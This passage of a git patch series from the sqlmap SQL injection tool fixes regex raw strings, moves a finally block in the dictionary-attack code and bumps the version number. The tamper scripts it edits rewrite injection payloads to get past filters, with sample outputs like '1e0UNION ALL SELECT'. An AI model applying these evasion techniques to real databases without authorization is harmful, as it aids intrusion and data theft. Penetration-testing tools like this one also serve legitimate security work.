aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) + finally: + if _multiprocessing: + gc.enable() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 + # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes for process in processes: try: process.terminate() @@ -1154,10 +1160,6 @@ def dictionaryAttack(attack_dict): except (OSError, AttributeError): pass - finally: - if _multiprocessing: - gc.enable() - if retVal: if conf.hashDB: conf.hashDB.beginTransaction() From 13a2ab3fa3dbbddcb5931f4c964592f9f2b20068 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Oct 2020 21:36:30 +0200 Subject: [PATCH 45/45] Minor update (drei) --- extra/shutils/drei.sh | 2 +- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- tamper/0eunion.py | 2 +- tamper/dunion.py | 2 +- tamper/misunion.py | 2 +- tamper/schemasplit.py | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index f73027a30..24875d331 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -7,7 +7,7 @@ export SQLMAP_DREI=1 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done -for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done unset SQLMAP_DREI source `dirname "$0"`"/junk.sh" diff --git a/lib/core/agent.py b/lib/core/agent.py index 34de5f153..67dd2b505 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1207,7 +1207,7 @@ class Agent(object): def whereQuery(self, query): if conf.dumpWhere and query: - if Backend.isDbms(DBMS.ORACLE) and re.search("qq ORDER BY \w+\)", query, re.I) is not None: + if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: match = re.search(r" (LIMIT|ORDER).+", query, re.I) diff --git a/lib/core/settings.py b/lib/core/settings.py index d513ea59d..837784503 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.10.2" +VERSION = "1.4.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/0eunion.py b/tamper/0eunion.py index b46f381e2..44de282dd 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -29,4 +29,4 @@ def tamper(payload, **kwargs): '1e0UNION ALL SELECT' """ - return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload + return re.sub(r"(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload diff --git a/tamper/dunion.py b/tamper/dunion.py index 70ebd002c..74a2c6c15 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -31,4 +31,4 @@ def tamper(payload, **kwargs): '1DUNION ALL SELECT' """ - return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload + return re.sub(r"(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload diff --git a/tamper/misunion.py b/tamper/misunion.py index baf767abb..68a9e4fb0 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -33,4 +33,4 @@ def tamper(payload, **kwargs): '1"-.1UNION ALL SELECT' """ - return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload + return re.sub(r"\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index e7bb1ea58..91bfb48d2 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -28,4 +28,4 @@ def tamper(payload, **kwargs): 'SELECT id FROM testdb 9.e.users' """ - return re.sub("( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload + return re.sub(r"( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload